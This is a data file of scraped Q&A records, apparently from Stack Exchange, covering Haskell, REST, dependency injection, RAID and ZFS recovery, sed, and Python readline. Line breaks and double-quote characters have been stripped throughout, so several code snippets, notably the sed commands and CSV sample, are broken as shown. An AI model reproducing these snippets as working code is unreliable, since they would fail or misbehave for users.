{  "id": "_codereview.67330"  , "question": "Both exercises have a common pattern of filter by a transformed list, then untransform the result. See skip and localMaxima.-- exercise 1skips :: [a] -> [[a]]skips xs = map (\\n -> skip n xs) [1..(length xs)]skip :: Integral n => n -> [a] -> [a]skip n xs = map snd $ filter (\\x -> (fst x) `mod` n == 0) (zip [1..] xs)--exercise 2isLocalMaximum :: Integral a => (a,a,a) -> BoolisLocalMaximum (a,b,c) = b > a && b > csliding3 :: [a] -> [(a,a,a)]sliding3 xs@(a:b:c:_) = (a,b,c) : sliding3 (tail xs)sliding3 _ = []localMaxima :: Integral a => [a] -> [a]localMaxima xs = map proj2 $ filter isLocalMaximum (sliding3 xs)  where proj2 (_,b,_) = b-- *Main> filter isLocalMaximum (sliding3 [1,5,2,6,3])-- [(1,5,2),(2,6,3)]My instincts say that I could implement both of these something like this:localMaxima' :: Integral a => [a] -> [a]localMaxima' xs = filterBy isLocalMaximum sliding3 xsif only I could implement filterByfilterBy :: (b -> Bool) -> ([a] -> [b]) -> [a] -> [a]filterBy p f as = as'  where indexedAs = zipWith (,) [0..] as        indexedBs = zipWith (,) [0..] (f as)        indexedBs' = filter p indexedBs     -- doesn't typecheck; how can we teach p about the tuples?        indexes = map fst indexedBs        as' = map (\\i -> snd (indexedAs !! i)) indexesIt's also slower than just writing out a fold. Is this all a bad idea? I've always considered fold a low level recursion operator and always try to structure in terms of higher level map and filter but maybe I am misunderstanding.My Haskell level is: understand LYAH but not written much code.This is a homework to CIS 194 (2013 version) (though I am not taking the class, I am working through the material on my own)"  , "title": "Filter by a transformed list, then untransform the result"  , "tags": "haskell;homework"  } 
{  "id": "_softwareengineering.193821"  , "question": "We have a URL in the following format/instance/{instanceType}/{instanceId}You can call it with the standard HTTP methods: POST, GET, DELETE, PUT. However, there are a few more actions that we take on it such as Save as draft or CurateWe thought we could just use custom HTTP methods like: DRAFT, VALIDATE, CURATEI think this is acceptable since the standards sayThe set of common methods for HTTP/1.1 is defined below. Although this set can be expanded, additional methods cannot be assumed to share the same semantics for separately extended clients and servers.And tools like WebDav create some of their own extensions.Are there problems someone has run into with custom methods? I'm thinking of proxy servers and firewalls but any other areas of concern are welcome. Should I stay on the safe side and just have a URL parameter like action=validate|curate|draft? "  , "title": "Are there any problems with implementing custom HTTP methods?"  , "tags": "rest;http"  , "accepted_answer": "One of the fundamental constraints of HTTP and the central design feature of REST is a uniform interface provided by (among other things) a small, fixed set of methods that apply universally to all resources. The uniform interface constraint has a number of upsides and downsides. I'm quoting from Fielding liberally here.A uniform interface:is simpler.decouples implementations from the services that they provide.allows a layered architecture, including things like HTTP load balancers (nginx) and caches (varnish).On the other hand, a uniform interface:degrades efficiency, because information is transferred in a standardized form rather than one which is specific to an application's needs.The tradeoffs are designed for the common case of the Web and have allowed a large ecosystem to be built which provides solutions to many of the common problems in web architectures. Adhering to a uniform interface will allow your system to benefit from this ecosystem while breaking it will make it that difficult. You might want to use a load balancer like nginx but now you can only use a load balancer that understands DRAFT and CURATE. You might want to use an HTTP cache layer like Varnish but now you can only use an HTTP cache layer that understands DRAFT and CURATE. You might want to ask someone for help troubleshooting a server failure but no one else knows the semantics for a CURATE request. It may be difficult to change your preferred client or server libraries to understand and correctly implement the new methods. And so on.The correct* way to represent this is as a state transformation on the resource (or related resources). You don't DRAFT a post, you transform its draft state to true or you create a draft resource that contains the changes and links to previous draft versions. You don't CURATE a post, you transform its curated state to true or create a curation resource that links the post with the user that curated it.* Correct in that it most closely follows the REST architectural principles."  } 
{  "id": "_softwareengineering.313391"  , "question": "When you use an IoC container, like so:var svc = IoC.Resolve<IShippingService>();How does the IoC Container choose which implementation of IShippingService to instantiate?Further, if I am calling the above to replace the equivalent code:var svc = new ShippingService(new ProductLocator(),    new PricingService(), new InventoryService(),    new TrackingRepository(new ConfigProvider()),    new Logger(new EmailLogger(new ConfigProvider())));I assume that ProductLocator, PricingService, etc. are called out in the constructor parameters as Interfaces, not concrete classes.  How does the IoC container know which implementations of IProductLocator, IPricingService, etc. to instantiate?Is the IoC Container smart enough to use the same ConfigProvider for both dependencies (if that is the requirement)?"  , "title": "How does a Dependency Injection/IOC Container know which implementation to use?"  , "tags": "dependency injection;inversion of control;ioc containers"  , "accepted_answer": "Because you pass configure to it which tells it how to do it. Typically this happens during application startup.In the simplest case you could have a lot of lines like:iocConfig.Bind<IShippingService>().To<ShippingService>();There are different ways to define such a configuration, such as conventions (e.g. a concrete class matching the name of the interface apart from the I prefix), attributes or config files, each with their own advantages and disadvantages.When testing you could create the stubs manually, or use a different configuration.Most containers also support a way for the target site to influence the dependency resolution, for example by adding an attribute. Personally I haven't needed that so far.Reuse of instances is determined by scope. Typically you have one scope where nothing gets reused (transient), per-request scope, per-thread scope, singleton scope, etc. You typically specify the scope as part of the configuration."  } 
{  "id": "_softwareengineering.142661"  , "question": "I'm building an multi processes application and I need to save session ID, the sessions ID is 32 bit, and of course it can't be used twice in its lifetime, I'm currently using DB that saves all the ID in a table, and I do the following,ID table is (int key, char used(1)) //1 is used, 0 is not1. lock table2. get one key for one sessions3. update used field in it to used4. unlock After the session is finished the process use below to free key,1. lock table2. update used field in it to not used4. unlockI'm really wondering whether this is a good/fast implementation. and please note it's multi processes application."  , "title": "Shared memory multiprocesses"  , "tags": "c;multithreading"  , "accepted_answer": "Did you try memcached? It's fast, it has atomic updates, it does not have all the rest of database overhead. Not as fast as raw shared memory, but probably session registration is not your bottleneck anyway?"  } 
{  "id": "_softwareengineering.237681"  , "question": "Related to this question i want to know if there is a concise way to eleminate null values out of code in general or if there is not.E.g. imagine a class that represents a user with birthday as attribute which can be set but does not have to, which then means it's null. In scala and similar languages one could use the Option type to describe this and i see why this is better then just having a regular null value as one would code it in java.However i wonder if this is the right concept or if we can do it better in this case and even in general.I came to the idea that we could replace the users birthday (and other optional or possibly unknown/unset attributes) with a list of possible optional attributes. So we could have likeourUser.getOptionalAttributes()// could return a list [Date Birthday, Float Height, Color Eyecolor]// or just [Color Eyecolor]// or even an empty listHowever using a regular list would mean that we could store multiple birthdays e.g.So we needed a way to tell the compiler that the list may only contain one Birthday type.Am i totally on the wrong track here and are option types the (philosophical) correct way to express optional attributes?Also, are there additional concepts for handling the logic of optional attributes other than nullable types and option-like types?"  , "title": "Alternatives to null values and option-like types"  , "tags": "java;scala;concepts;null"  , "accepted_answer": "What is a type?A type is meta data that can be used, at compile time or run time, to describe the shape of our data.trait A { val b: X; def c(y: Y): Z}So we know in our program that when ever we see an a: A, we know that a has the shape of A so we can call a.b safely.So what shape does null have?null has no data. null does not have a shape. String s = null is allowed as null has no shape, so it can fit any where. MikeFHay above says that an  empty collection can be thought of as a null object. This is wrong, an empty collection has exactly the same shape as any other collection.If a field can be null, then we can no longer rely on a.b to be safe. The shape of the data in this field is not truly A, only potentially A. The other shape it can be is null. That is the shape of this field is a union of A and null.Most languages allow unions to be implemented as a tagged union. Scala's Option type is a tagged union of None | Some(a:A). Like wise Ceylon adds a ? postfix for types that say that the type may be null as in String? s = null."  } 
{  "id": "_cs.27998"  , "question": "Let's assume we have given a two dimensional cellular automaton with an initial configuration where alls cells are in an quiescent state, expect for one square of cells. Let $n$ be the number of cells in that square. We want to synchronize all cells in the square, so we basically want to solve the firing squad synchronization problem.Synchronizing all cells in $\\Theta(\\sqrt{n})$ is rather easy: All cells at the left and right border of the square serve as generals and we synchronize each row separately with any standard 1-dimensional FSSP algorithm. A row of $k$ cells with generals at both ends can be synchronized in $\\Theta(k)$ steps (in our case: $k=\\sqrt{n}$).What I want to do, is to synchronize the whole square in $\\Theta(\\sqrt{n} \\log n)$, so I need to slow down the synchronization process by a factor of $\\log n$. But I have no idea how to do so."  , "title": "How to synchronize a 2d cellular automaton in $\\Theta(\\sqrt{n} \\log n)$ steps"  , "tags": "synchronization;cellular automata;algorithm design"  , "accepted_answer": "A naive solution could be that each general first launch a binary counter in its row and counts the current time until $k\\log(k)$ steps and then run the FSSP. To do this you just need to detect the value of $k$ and compute $k\\log(k)$ in less than $k\\log(k)$ steps: sending a signal back and forth toward the other end while incrementing a binary counter gives you k written in binary in roughly $2k+\\log(k)$ steps, so you also know $\\log(k)$ (length of the counter). Within the $\\Theta(k\\log(k))$ steps left you have much more time than necessary to compute the product $k\\times \\log(k)$. And you're done.I'm pretty sure that (1) there are more elegant solutions, (2) there is a general acceleration/slowdown theorem that could also be used here."  } 
{  "id": "_webmaster.58672"  , "question": "I bought certificate only for name_domain.com under the configuration for IIS 8 (on Windows Server 2012). I have 301 redirects from www.name_domain.com to https://name_domain.com. If I open the following link in a browser: www.name_domain.com , there's a certificate error. Should I buy a new certificate or maybe there is another solution to the problem?"  , "title": "Problems with SSL certificate in IIS 8"  , "tags": "redirects;security certificate;iis8"  } 
{  "id": "_cstheory.18727"  , "question": "Is there a (reasonable) way to sample a uniformly random boolean function $f:\\{0,1\\}^n \\to \\{0,1\\}$ whose degree as a real polynomial is at most $d$?EDIT: Nisan and Szegedy have shown that a function of degree $d$ depends on at most $d2^d$ coordinates, so we may assume that $n \\leq d2^d$. The problems as i see are the following:1) On one hand if we pick a random boolean function on $d2^d$ coordinates, then its degree will be close to $d2^d$, much higher than $d$.2) On the other hand, if we pick each coefficient of degree at most $d$ at random, then the function will not be boolean.So the question is: is there a way to sample a low degree boolean function that avoids these two problems?"  , "title": "Random functions of low degree as a real polynomial"  , "tags": "randomness;boolean functions;bounded degree"  } 
{  "id": "_webmaster.44675"  , "question": "I have a blog and I want to monetize it. I have applied to Google ads but they are saying that my blog has duplicate content.  Is there any site like Google AdSense where I can get ads for my blog?"  , "title": "Find ads for blog"  , "tags": "advertising;cpc ads"  , "accepted_answer": "Here is an article that has 5 Google Adsense Alternatives.  It recommends:AdBriteBidvertiserChitikaClicksoreClickZ"  } 
{  "id": "_softwareengineering.224975"  , "question": "The problemC# project consisting of WCF services used by a Flex application.A customer may request a functionality change that requires me to alter code to work just for them. It could be a single line of code in a method or maybe a method acts in a totally different way for customer x.My IdeasUse branches for customers that have a customization. When a release is ready, merge to customer branches and try not to break / forget what their customization was for. We use SVN. I'm not a huge fan of this as the code base is very large.Use inversion of control, dependency injection, and MEF. Create an interface for the class/s that needs to be modified. Create a new class library project (that is, customerabc), add a new class that implements the class just created, override method/s as needed for customer changes. Add a MEF export. I then place this in a customization folder and point MEF there. If it finds a DLL file in the folder, it uses that instead of the export from the executing assembly.I like option 2.Pros :Easy - normal deployment install, then drop in their DLL file. Obvious - it might not be overly clear wether or not a customer is running code from their branch. With this option I could just look at the customization folder.Clean - only the files that need to be customized exist. There isn't any need for a full copy of trunk. d. It promotes better SOLID for future development and refactoring (this project has little OOP).Cons:It will be harder to manage changes in trunk out to the customer projects.It doesn't necessarily solve my problem with database changes or changes on the Flex side.If the change is a single line of code in a 500 line method, I don't see any other option than to override that method, copy paste the code to the customer override and make the one line change. This isn't good use of DRY to me, but is there a good way around this?OK, so better use of OOP and SOLID principles could mitigate some of this, but it also means that to implement a simple customer request, I have to do some major refactoring to the whole class... potentially many classes.What should I do?"  , "title": "Handling changes specific to a customer"  , "tags": "version control;builds"  , "accepted_answer": "Option #1 is reasonable, but it represents a big hassle.Option #2 should be the dictionary definition of overengineering.Option #3: consider this:Instead of multiple disjoint sets of requirements, (one for each client,) suppose that you have a single set of requirements, covering all customers, with the additional requirement that any given installation of your application should cater to a single customer, which is specified in configuration.  True, this means that specific customer concerns will be scattered throughout the codebase, and that every customer will be receiving inactive features, possibly even unused database tables and columns, but do they need to know?  And if they do need to know, do they care?  Do they mind?  Would they please mind their own business and let you do your job in whatever way is more productive for you?My car engine has some hooks on it.  I have no use for these hooks, but they are there because they made it much easier to install the engine in the factory, and much safer for the workers there, so the presence of these hooks has actually lowered the end price that I paid for my car.  So, I am perfectly fine with these otherwise useless hooks."  } 
{  "id": "_unix.96656"  , "question": "Some backgroundA friend of mine was using in his office a NAS Buffalo-LS-WVL with two disks of 1TB each. It seems that the two disks were mounted as raid 1, but, as you will read, probably they have been not. The NAS gave some problems of extremely slowness and then suddenly didn't work anymore.  I've been called in to rescue his data.Both disk have exactly the same partitioning: one physical and 6 logical, and in the 6th data lives in (aprox 80GB out of 0,95TB).Disk /dev/sdd seems to give hardware problems (slowliness, sector reading error, etc.), whereas /dev/sde is a well-physically functioning disk.The goal is to extract data that were contained in the NAS. If not all data, the most to be extracted, the better. These data are vital for the company of this friend of mine.What I have tried already1st attempt: Mounting disks aloneThis is the very first try, hoping it works, I've tried to get each disk and mount it alone, and I got this message:root@ubuntu:~# mount /dev/sdd6 /mnt/n-or-root@ubuntu:~# mount /dev/sde6 /mnt/nboth gave me the same message:mount: unknown filesystem type 'linux_raid_member'2nd attempt: Creating disk array RAID 1 and try to mount themOK, if I cannot mount them alone, then I need to create an array of disks. Let's suppose (the most logical) the original configuration was raid 1, and use one disk at a time:root@ubuntu:~# mdadm --create --run --level=1 --raid-devices=2 \\                  /dev/md/md-singolo-e6--create-missing /dev/sde6 missinggives:mdadm: /dev/sde6 appears to be part of a raid array:    level=raid0    devices=2    ctime=Mon Sep 26 10:23:48 2011    mdadm: Note: this array has metadata at the start and may not be suitable as a boot device.  If you plan to store '/boot' on this device please ensure that    your boot-loader understands md/v1.x metadata, or use    --metadata=0.90    mdadm: Defaulting to version 1.2 metadata    mdadm: array /dev/md/md-singolo-e6--create-missing started.So, it seems that the original raid was in 0 mode and not 1 mode. Bad new, as a disk is giving sector problems. Anyway, I gave a try to mount the newly created RAID1 array (even if I know it's no-sense):root@ubuntu:~# mkdir /mnt/md-singolo-e6--create-missing    root@ubuntu:~# mount /dev/md/md-singolo-e6--create-missing \\                 /mnt/md-singolo-a6--create-missing/gave:mount: /dev/md127: can't read superblockExactly the same result has been given for the other disk.3rd attempt: Creating disk array RAID 0 and try to mount themOK, as it has been stated that it was Raid0, let's go for it:root@ubuntu:~# mdadm --create --run --level=0 --raid-devices=2 \\                   /dev/md/md001hw /dev/sdd6 /dev/sde6 gives:mdadm: /dev/sdd6 appears to be part of a raid array:level=raid1devices=2ctime=Mon Oct 14 16:38:33 2013mdadm: /dev/sde6 appears to be part of a raid array:level=raid1devices=2ctime=Mon Oct 14 17:01:01 2013mdadm: Defaulting to version 1.2 metadatamdadm: array /dev/md/md001hw started.OK, once created I try to mount it:root@ubuntu:~# mount /dev/md/md001hw /mnt/nmount: you must specify the filesystem typeAt this point all ext2,3,4 specified with -t gave error.4th attempt: Creating disk images and work with themOK, as a disk has problem it is much better to work on a copy (dd) of the data partition, padded with 0 (sync) in case of block read error (error). I therefore created the two images:This one for the good disk (block of 4MB, to be faster):root@ubuntu:~# dd bs=4M if=/dev/sde6 of=/media/pietro/4TBexthdd/sde6-bs4M-noerror-sync.img conv=noerror,syncand this one for the disk with problems (minimum block size, to be safer)root@ubuntu:~# dd if=/dev/sde6 of=/media/pietro/4TBexthdd/sdd6-noerror-sync.img conv=noerror,syncOnce I got the two images I've tried to use them as RAID 0, with the command specified above. Nothing to do, the answer that came is that the images is not a block device and it does not create the array.5th attempt: going byte-a-byte to rescue some dataOK, if a proper mounting is not working, let's go to extract data trough byte-a-byte reading and header and footer info. I used *foremost*to do this job, both on each single disk: for disk 1:root@ubuntu:~# foremost -i /dev/sde6 -o /media/pietro/4TBexthdd/foremost_da_sde6/it creates sub-folders with file extensions, but no population at all in them. Whereas for disk 2 (the damaged one):root@ubuntu:~# foremost -i /dev/sdd6 -o /media/pietro/4TBexthdd/foremost_da_sdd6_disco2/neither the sub-folder structure is created by foremost.Same result when I tried foremost on RAID 0 array:root@ubuntu:~# foremost -i /dev/md/md001hw -o /media/pietro/4TBexthdd/foremost_da_raid_hw/Neither sub-folder structure has been created.Where I need some help / My QuestionsFirst and foremost question: how to rescue data? Does anyone has any hint I've not tried?Could anyone of you suggest anything different of what I've done?Other questions:I'm new to mdadm, did I do everything correctly?    Was effectively the original array created on Sept 26th, 2011 in Raid 0 mode?    Why I cannot use the partition images to create an array?AppendixThis is the output of dmesg in case of reading from the failing disk (/dev/sdd):[  958.802966] sd 8:0:0:0: [sdd] Unhandled sense code[  958.802976] sd 8:0:0:0: [sdd]  [  958.802980] Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE[  958.802984] sd 8:0:0:0: [sdd]  [  958.802987] Sense Key : Medium Error [current] [  958.802994] sd 8:0:0:0: [sdd]  [  958.802999] Add. Sense: Unrecovered read error[  958.803003] sd 8:0:0:0: [sdd] CDB: [  958.803006] Read(10): 28 00 00 d5 c7 e0 00 00 f0 00[  958.803021] end_request: critical target error, dev sdd, sector 14010336[  958.803028] quiet_error: 36 callbacks suppressed[  958.803032] Buffer I/O error on device sdd, logical block 1751292[  958.803043] Buffer I/O error on device sdd, logical block 1751293[  958.803048] Buffer I/O error on device sdd, logical block 1751294[  958.803052] Buffer I/O error on device sdd, logical block 1751295[  958.803057] Buffer I/O error on device sdd, logical block 1751296[  958.803061] Buffer I/O error on device sdd, logical block 1751297[  958.803065] Buffer I/O error on device sdd, logical block 1751298[  958.803069] Buffer I/O error on device sdd, logical block 1751299[  958.803074] Buffer I/O error on device sdd, logical block 1751300[  958.803078] Buffer I/O error on device sdd, logical block 1751301[  961.621228] sd 8:0:0:0: [sdd] Unhandled sense code[  961.621236] sd 8:0:0:0: [sdd]  [  961.621238] Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE[  961.621241] sd 8:0:0:0: [sdd]  [  961.621243] Sense Key : Medium Error [current] [  961.621248] sd 8:0:0:0: [sdd]  [  961.621251] Add. Sense: Unrecovered read error[  961.621254] sd 8:0:0:0: [sdd] CDB: [  961.621255] Read(10): 28 00 00 d5 c8 d0 00 00 10 00[  961.621266] end_request: critical target error, dev sdd, sector 14010576[  964.791077] sd 8:0:0:0: [sdd] Unhandled sense code[  964.791084] sd 8:0:0:0: [sdd]  [  964.791087] Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE[  964.791090] sd 8:0:0:0: [sdd]  [  964.791092] Sense Key : Medium Error [current] [  964.791096] sd 8:0:0:0: [sdd]  [  964.791099] Add. Sense: Unrecovered read error[  964.791102] sd 8:0:0:0: [sdd] CDB: [  964.791104] Read(10): 28 00 00 d5 c8 00 00 00 08 00[  964.791114] end_request: critical target error, dev sdd, sector 14010368[  964.791119] quiet_error: 22 callbacks suppressed[  964.791122] Buffer I/O error on device sdd, logical block 1751296"  , "title": "recovery data from RAID and disk failure (Linux)"  , "tags": "hard disk;data recovery;raid;mdadm;failure"  , "accepted_answer": "I hate to be the bearer of bad news, but...Q: I'm new to mdadm, did I do everything correctly? A: No. In fact, you did just about everything in the most destructive way possible. You used --create to destroy the array metadata, instead of using --assemble which probably would have allowed you to read the data (at least, to the extent the disk is capable of doing so). In doing so, you have lost critical metadata (in particular, the disk order, data offset, and chunk size). In addition, --create may have scribbled array metadata on top of critical filesystem structures.Finally, in your step (3), I see that mdadm is complaining of RAID1 on both disksI'm hoping that's from you trying (2) on both disks, individually. I sincerely hope you didn't let RAID1 start trying to sync the disks (say, had you added both to the same RAID1 array).What to do nowIt seems like you've finally created images of the drives. You ought to have done this first, at least before trying anything beyond a basic --assemble. But anyway,If the image of the bad drive missed most/all sectors, determine if professional data recovery is worthwhile. Files (and filesystem metadata) are split across drives in RAID0, so you really need both to recover. Professional recovery will probably be able to read the drive.If the image is mostly OK, except for a few sectors, continue.Make a copy of the image files. Only work on the copies of the image files. I can not emphasize this enough, you will likely be destroying these copies several times, you need to be able to start over. And you don't want to have to image the disks again, especially since one is failing!To answer one of your other questions:Q: Why I cannot use the partition images to create an array?A: To assemble (or create) an array of image files, you need to use a loopback device. You attach an image to a loopback device using losetup. Read the manpage, but it'll be something along the lines of losetup --show -f /path/to/COPY-of-image. Now, you use mdadm on the loop devices (e.g., /dev/loop0).Determine the original array layoutYou need to find out all the mdadm options that were originally used to create the array (since you destroyed that metadata with --create earlier). You then get to run --create on the two loopback devices, with those options, exactly. You need to figure out the metadata version (-e), the RAID level (-l, appears to be 0), the chunk size (-c), number of devices (-n, should be 2) and the exact order of the devices.The easiest way to get this is going to be to get two new disks, put then in the NAS, and have the NAS create a new array on them. Preferably with the same NAS firmware version as originally used. IOW, repeat the initial set up. Then pull the disks out, and use mdadm -E on one of the members. Here is an example from a RAID10 array, so slightly different. I've omitted a bunch of lines to highlight the ones you need:        Version : 1.0                 # -e     Raid Level : raid10              # -l   Raid Devices : 4                   # -n     Chunk Size : 512K                # -c   Device Role : Active device 0                         # gets you the device order   Array State : AAAA ('A' == active, '.' == missing)NOTE: I'm going to assume you're using ext2/3/4 here; if not, use the appropriate utilities for the filesystem the NAS actually used.Attempt a create (on the loopback devices) with those options. See if e2fsck -n even recognizes it. If not, stop the array, and create it again with the devices in the other order. Try e2fsck -n again.If neither work, you should go back to the order you think is right, and try a backup superblock. The e2fsck manpage tells you what number to use; you almost certainly have a 4K blocksize. If none of the backup superblocks work, stop the array, and try the other disk order. If that doesn't work, you probably have the wrong --create options; start over with new copy of the images & try some different optionsI'd try different metadata versions first.Once you get e2fsck to run, see how badly damaged the filesystem is. If its completely trashed, that may mean you have the wrong chunk size (stop and re-create the array to try some more). Copy the data off.I suggest letting e2fsck try to fix the filesystem. This does risk destroying the filesystem, but, well, that's why you're working on copies! Then you can mount it, and copy the data off. Keep in mind that some of the data is likely corrupted, and that corruption may be hidden (e.g., a page of a document could have been replaced with NULLs).I can't get the original parameters from the NASThen you're in trouble. Your other option is to take guesses until one finally works, or to learn enough about the on-disk formats to figure it out using a hex editor. There may be a utility or two out there to help with this; I don't know.Alternatively, hire a data recovery firm."  } 
{  "id": "_unix.229234"  , "question": "Having a CSV file like this:HEADERfirst, column|second some random quotes column|third ol' columnFOOTERand looking for result like: HEADERfirst, column|second some random quotes column|third ol' columnin other words removing FOOTER, quotes in beginning, end and around |. So far this code works: sed '/FOOTER/d' csv > csv1 | #remove FOOTERsed 's/^\\//' csv1 > csv2 | #remove quote at the beginningsed 's/\\$//' csv2 > csv3 | #remove quote at the endsed 's/\\|\\/|/g' csv3 > csv4 #remove quotes around pipeAs you see the problem is it creates 4 extra files. Here is another solution, that has a goal not to create extra files and to do the same thing in a single script. It doesn't work very well. #!/bin/kshsed '/begin/, /end/ {         /FOOTER/d        s/^\\//        s/\\$//        s/\\|\\/|/g }' csv > csv4"  , "title": "Join multiple sed commands in one script for processing CSV file"  , "tags": "sed;csv"  , "accepted_answer": "First of all, as Michael showed, you can just combine all of these into a single command:sed '/^FOOTER/d; s/^\\//; s/\\$//; s/\\|\\/|/g' csv > csv1I think some sed implementations can't cope with that and might need:  sed -e '/^FOOTER/d' -e 's/^\\//' -e 's/\\$//' -e 's/\\|\\/|/g' csv > csv1That said, it looks like your fields are defined by | and you just want to remove  around the entire field, leaving those that are within the field. In that case, you could do:$ sed '/FOOTER/d; s/\\(^\\||\\)/\\1/g; s/\\($\\||\\)/\\1/g' csv HEADERfirst, column|second some random quotes column|third ol' columnOr, with GNU sed:sed -r '/FOOTER/d; s/(^|\\|)/\\1/g; s/($|\\|)/\\1/g' csv You could also use Perl:$ perl -F| -lane 'next if /FOOTER/; s/^|$// for @F; print @F' csv HEADERfirst, column|second some random quotes column|third ol' column"  } 
{  "id": "_webmaster.7712"  , "question": "Possible Duplicate:How to find web hosting that meets my requirements? I am looking for a cheap dedicated server. (I was earlier happy with VPS, until I realized that the disk I/O is not at all reliable and depends on what your neighbours are up to at the moment).I was browsing through http://www.lowenddedi.net/the-databaseI don't understand memory speed and NIC speed columns at all. What will be their affect? Do I need to worry about them?Also, can someone help suggest a provider, with following criteria:1) Good & reliable Network 2) Price <= $60/month."  , "title": "Help selecting dedicated server with good disk I/O & network"  , "tags": "server;looking for hosting;dedicated hosting"  } 
{  "id": "_unix.386168"  , "question": "I want to build rpm package for my icon theme and upload it to www.gnome-look.org, with deb and tar.gz. If I'll build it on Fedora will users be able to use it on other systems like Red Hat?The package don't have any binaries only few shell scripts and svg files."  , "title": "Can rpm package build on Fedora be used on other systems?"  , "tags": "fedora;rpm"  , "accepted_answer": "If I'll build it on Fedora will users be able to use it on other systems like Red Hat?Yes. If you provide only non-binary content. And if you will use compatible paths and compatible RPM macros for RHEL. If I remember well, for example %doc does not work in older RPMs."  } 
{  "id": "_unix.296972"  , "question": "I am using FreeBSD 10.2 using ZFS on root as the file system (zroot01).  I have an external hard disk with a ZFS file system from another FreeBSD 10.2 system (zroot02) that I want to temporarily mount, read only, so I can get some files off of it, then disconnect it afterward.  I don't want the external ZFS system to clobber or replace my current file system, nor do I want the data on the external to be corrupted/altered either.To demonstrate what I'm trying to accomplish, if I was using UFS I'd do something like this:mount -t ufs -o ro /dev/ada0s2 /mnt/my-fun-mountpoint...where /dev/ada0s2 is the partition on my external drive and /mnt/my-fun-mountpoint is in the /mnt directory of my existing operating system.All of the searching and man page reading has not provided a crystal-clear method for doing so.  What answers I did find ended up taking over my current file system and corrupting it beyond repair -- obviously not the result I'm looking for.  I attempted this a while ago so I don't remember which commands I tried, unfortunately.Can you please provide some clear guidance on how to do this?  Thank you in advance for your help."  , "title": "How to mount external ZFS file system without clobbering/altering current or external filesystem"  , "tags": "mount;zfs"  , "accepted_answer": "Well, it really depends on how read-only you want the pool to be. And no, that's not a joke.First, a bit of terminology: in ZFS, you import a pool, and optionally mount the (any) file systems within it. You can import a pool without mounting any file systems by passing -N to zpool import and then later on mount any desired file systems using zfs mount. (This is a perfectly valid scenario if, for example, you want to access only a single file system out of many, or if you want to do something resembling an off-line scrub of the pool.)ZFS isn't a big fan of truly read-only access. For example, if ZFS detects an error that it is able to repair, I believe it will repair the error and write the repaired data to disk even if you imported the pool as read-only. My understanding is that, in ZFS parlace, read-only applies only to the user-visible state of the pool and its datasets. If, on the other hand, you make a binary copy of the disk to a file (or set of files), make those files truly read only, and try to import the pool from there, ZFS won't be able to import the pool at all no matter how hard you try. If you make the files writable, it will work fine. (I actually tried this just a few weeks ago, albeit using a zvol, and ZFS vehemently refused to import the pool. When I set the zvol to read/write instead of read-only, the pool imported fine.) Other file systems like (on Linux) ext4 and probably others handle this situation somewhat gracefully, but ZFS balks.If you are unlucky, and don't have ECC RAM installed in the system where you are importing the pool, then ZFS' attempting to correct any errors it encounters might actually make things worse, although opinions differ on whether this is actually a real risk in practice. Personally I am of the opinion that any data I care enough about to protect with ZFS and snapshots and storage-level redundancy and backups and whatnot deserves the protection offered by ECC RAM also, but many PCs don't have ECC RAM.So, you can import the pool in read-only mode, with a specific alternate root to keep it from stepping on anything else's toes, but you need to be aware that it isn't necessarily truly read-only in a forensic sense. (It will, however, ensure that you don't accidentally change anything in the pool.) To do a read-only import, assuming that the pool is named tank and that the device node(s) is/are available in /dev, you would use a command like:# zpool import tank -d /dev -o readonly=on -R /mnt/someplaceThis will look in /dev for anything holding a ZFS pool with the name tank, import it, temporarily setting the pool property readonly to on (which means that all user-initiated writes will be rejected) and temporarily setting its altroot property to /mnt/someplace. (These property values are temporary in the sense that they are not persisted to the disk(s) as current property values, so if you export and re-import the pool without them, the values will be back to normal. They might possibly be written to the pool history though, which once the pool is imported you can look at with zpool history tank if you are so inclined.) Once the pool is imported, you will see your files under /mnt/someplace and have normal, read-only access to them, including any snapshots that are already made on the datasets in the pool.Given your example, I suspect that you would use something along the lines of:# zpool import zroot02 -d /dev -o readonly=on -R /mnt/my-fun-mountpointWhen you are done, remember to cleanly export the pool:# zpool export tankor perhaps# zpool export zroot02That will unmount all file systems and other datasets within the pool, flush all buffers (to the extent that any need flushing in the first place), mark the pool as not imported on all constituent devices, and perform any other necessary housekeeping tasks to ensure that the pool can safely be moved to a different system and imported there later."  } 
{  "id": "_unix.280871"  , "question": "I have python3 installed on a work computer.Python 3.4.3 (default, May  3 2016, 09:46:33) [GCC 4.4.7 20120313 (Red Hat 4.4.7-16)] on linuxType help, copyright, credits or license for more information.The interactive editor is not working. I can't use emacs control sequences, for example. I just get ^A displayed instead of going to the beginning of my line.There's mention of the feature here:https://docs.python.org/3.4/tutorial/interactive.htmlIt says:Some versions of the Python interpreter support editing of the current input line and history substitution, similar to facilities found in the Korn shell and the GNU Bash shell. This is implemented using the GNU Readline library, which supports various styles of editing. The docs don't say anything about needing to enable this feature, which versions of the Python interpreter support editing, or if there is perhaps something in the build process, assuming Python3 was built from source, that made the GNU Readline library not work. And, I've googled a bunch to see how I might fix the problem with no luck.The odd thing is that there is Python 2 installed on the same machine and it supports interactive editing just fine. And, the Python 3 installed on my home machine works just fine too."  , "title": "Python3 not coming up in interactive mode"  , "tags": "python3;interactive"  , "accepted_answer": "I was the tech working on the issue and found how to get interactive editing to work. The issue with going through yum is since the OS using so much python we cant update it through yum (company policy).I had to compile python 3.4.3 from source. After it was compiled and installed, I had to add each package that was missing. This particular package was gnureadline. Readline is deprecated. Here are the steps I took to build and install the package (for CentOS 6.7):wget https://pypi.python.org/pypi/gnureadline/6.3.3tar -xzvf gnureadline-6.3.3.tar.gzcd gnureadline-6.3.3python3 setup.py installNOTE: Here I ran into an issue /usr/bin/ld: cannot find lncurses. Using /usr/bin/ld lncurses --verbose found that the paths it was searching didnt have the libraries. Created a symlink and it worked. If you don't get the errors then skip to the last step.ln -s /lib64/libncurses.so.5.7 /usr/lib64/libncurses.sopython3 setup.py installVerified I can use ctrl-a and arrow keys to move around in the line."  } 
{  "id": "_unix.210881"  , "question": "Is it possible to get the title of a window (e.g., gnome-terminal) via a terminal command, without installing any outside packages such as xdotool, xprop or wmctrl?Much appreciated."  , "title": "Get window name on Red Hat GNOME"  , "tags": "linux;rhel;gnome;gnome terminal"  } 
